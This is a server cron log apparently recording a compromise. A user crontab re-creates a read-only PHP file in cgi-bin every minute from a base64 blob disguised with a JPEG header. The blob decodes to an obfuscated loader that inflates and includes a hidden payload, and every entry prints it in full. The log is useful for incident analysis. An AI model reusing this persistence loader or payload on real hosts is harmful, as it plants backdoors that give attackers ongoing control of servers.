Nov  9 08:02:01 server CROND[30963]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:03:01 server CROND[31952]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:04:01 server CROND[408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:05:01 server CROND[1272]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov  9 08:05:01 server CROND[1273]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 08:05:01 server CROND[1274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:05:01 server CROND[1276]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:05:01 server CROND[1275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:06:01 server CROND[2174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:07:01 server CROND[2995]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:08:01 server CROND[3808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:09:01 server CROND[4626]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 08:09:01 server CROND[4627]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:10:01 server CROND[5380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:10:01 server CROND[5382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:10:01 server CROND[5383]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:10:01 server CROND[5384]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 08:11:01 server CROND[6257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:12:01 server CROND[7159]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 08:12:01 server CROND[7160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:13:01 server CROND[7984]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:14:01 server CROND[8421]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:15:01 server CROND[9415]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:15:01 server CROND[9414]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
